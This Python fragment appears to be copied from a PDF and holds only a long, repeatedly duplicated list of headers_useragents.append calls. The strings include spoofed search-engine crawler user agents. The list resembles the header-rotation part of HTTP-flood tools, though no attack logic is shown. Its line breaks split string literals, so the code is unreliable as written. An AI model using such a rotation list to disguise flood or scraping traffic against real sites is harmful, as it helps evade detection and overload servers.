headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83;
http://www.80legs.com/webcrawler.html) Gecko/2008032620')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
AddSugarSpiderBot www.idealobserver.com')
headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0;
+http://www.anyapex.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0
compatible; +http://www.become.com/site_owners.html)')
headers_useragents.append('BillyBobBot/1.0
(+http://www.billybobbot.com/crawler/)')
headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0;
+http://www.bing.com/bingbot.htm)')
headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775;
i686-pc-linux-gnu)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)
AppleWebKit/420+ (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; Avant Browser)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
